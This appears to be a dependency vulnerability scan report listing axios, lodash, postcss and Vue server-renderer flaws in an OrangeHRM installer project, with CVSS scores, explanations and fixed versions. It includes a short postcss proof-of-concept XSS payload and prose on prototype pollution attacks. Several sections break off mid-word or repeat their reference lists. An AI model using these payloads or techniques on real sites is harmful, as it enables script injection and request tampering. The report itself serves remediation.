1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

References

- GitHub Commit
- GitHub PR
- Maintainer's Advisory

MEDIUM

Improper Input Validation

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-101900	CWE-20	SNYK-JS-AXIOS-20245058	Exploit: Proof of Concept

Fixed in 1.20.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N/E:P`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Input Validation via insufficient hardening of runtime option handling in the fetch and HTTP adapters, where user-supplied fetchOptions are merged into the resolved request options without sanitization. An attacker who can influence request configuration can inject or override internal Axios-owned options (such as body, headers, method, signal, credentials), leading to integrity impact on the downstream system receiving the request.
Remediation
Upgrade axios to version 1.20.0 or higher.
References
- GitHub Commit
- GitHub PR
- Maintainer's Advisory

References

- GitHub Commit
- GitHub PR
- Maintainer's Advisory

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-101908	CWE-1321	SNYK-JS-AXIOS-20245064	Exploit: Proof of Concept

Fixed in 1.20.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N/E:P`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via insufficient hardening of runtime option handling in the fetch and HTTP adapters (lib/adapters/fetch.js, lib/adapters/http.js, and related helpers). An attacker who can influence request configuration options passed to axios can supply unsanitized values that bypass expected constraints, resulting in unintended modification of downstream system behavior (SI:H) such as request routing or proxy bypass, while leaving the client-side response unaffected (VC:N, VI:N, VA:N).

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server

- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollu

References

• GitHub Commit
• GitHub PR
• Maintainer's Advisory

MEDIUM

Server-side Request Forgery (SSRF)

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-42038	CWE-918	SNYK-JS-AXIOS-16298095	Exploit: Not Defined

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N`
CVSS 3.1	6.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	6.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the noproxy entry, allowing loopback traffic to bypass the intended proxy handling.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-67319	CWE-1321	SNYK-JS-AXIOS-18065349	Exploit: Proof of Concept

Fixed in 0.33.0, 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:P`
CVSS 3.1	4	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application se

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-67316	CWE-1321	SNYK-JS-AXIOS-18065355	Exploit: Proof of Concept

Fixed in 0.33.0, 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N/E:P`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following en

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

Prototype Pollution

Package: **lodash 4.17.21**

CVSS 6.9	CVE-2025-13465	CWE-1321	SNYK-JS-LODASH-15053838	Exploit: Not Defined

Fixed in 4.17.23

Introduced through `orangehrm-installer@1.0.0 → @ohrm/oxd@2.0.2 → @revolist/vue3-datagrid@3.2.17 → @revolist/revogrid@3.3.0 → lodash@4.17.21`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`
CVSS 3.1	8.2	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H`

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the .unset and .omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server
- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/Java

References

• GitHub Commit

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-67320	CWE-1321	SNYK-JS-AXIOS-18065351	Exploit: Proof of Concept

Fixed in 0.33.0, 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the Node HTTP adapter (lib/adapters/http.js), which reads config.proxy through the prototype chain after a request interceptor returns a plain-object clone that lib/core/dispatchRequest.js dispatches without re-applying the null-prototype hardening. An attacker who can pollute Object.prototype.proxy can route a victim's outbound plaintext HTTP requests through an attacker-controlled proxy, disclosing Authorization headers, Basic credentials, request metadata, and POST bodies and enabling forged responses, when the application uses an interceptor that returns a spread or Object.assign copy of the config. Exploitation requires the Node HTTP adapter, a separately polluted Object.prototype.proxy, a request interceptor that returns a plain-object copy of the config, and no own proxy value on the request, and HTTPS under normal TLS validation does not disclose the headers or body.

Workaround

This vulnerability can be avoided by setting proxy: false on the affected requests or the axios instance, which supplies an own proxy value that shadows the polluted prototype property.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their in

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

Cross-site Scripting (XSS)

Package: **postcss 8.4.35**

CVSS 5.3	CVE-2026-41305	CWE-79	SNYK-JS-POSTCSS-16189065	Exploit: Proof of Concept

Fixed in 8.5.10

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/compiler-sfc@3.4.19 → postcss@8.4.35`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P`
CVSS 3.1	6.1	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P`
CVSS 3.1	6.1	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.

PoC

js

```
const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = <style>${output}</style>;
```

```
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
```

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

* Web servers
* Application servers
* Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
* Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
* Give users the option to disable client-side scripts.
* Redirect invalid requests.
* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation
Upgrade postcss to version 8.5.10 or higher.
References
- GitHub Advisory
- GitHub Commit
- [G

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

MEDIUM

Improper Encoding or Escaping of Output

Package: **@vue/server-renderer 3.4.19**

CVSS 6.9	CWE-79, CWE-116	SNYK-JS-VUESERVERRENDERER-20883244	Exploit: Proof of Concept

Fixed in 3.5.42, 3.6.0-rc.6

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/server-renderer@3.4.19`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.2	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:P`

Overview

@vue/server-renderer is a @vue/server-renderer

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via isSSRSafeAttrName in packages/shared/src/domAttrConfig.ts, which fails to reject carriage return (\r, U+000D) characters in attribute names during server-side rendering. An attacker who can control an attribute name can inject a CR character to break out of the attribute context and introduce arbitrary HTML, enabling cross-site scripting in the rendered output.
Remediation
Upgrade @vue/server-renderer to version 3.5.42, 3.6.0-rc.6 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

Improper Encoding or Escaping of Output

Package: **@vue/server-renderer 3.4.19**

CVSS 6.9	CWE-79, CWE-116	SNYK-JS-VUESERVERRENDERER-20883248	Exploit: Proof of Concept

Fixed in 3.5.42, 3.6.0-rc.6

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/server-renderer@3.4.19`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.2	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:P`

Overview

@vue/server-renderer is a @vue/server-renderer

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via isSSRSafeAttrName in packages/shared/src/domAttrConfig.ts, which fails to reject carriage return (\r, U+000D) characters in attribute names during server-side rendering. An attacker who can control an attribute name can inject a CR character to break out of the attribute context and introduce arbitrary HTML, enabling cross-site scripting in the rendered output.

Remediation

Upgrade @vue/server-renderer to version 3.5.42, 3.6.0-rc.6 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

Allocation of Resources Without Limits or Throttling

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-67312	CWE-770	SNYK-JS-AXIOS-18060165	Exploit: Proof of Concept

Fixed in 0.33.0, 1.18.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

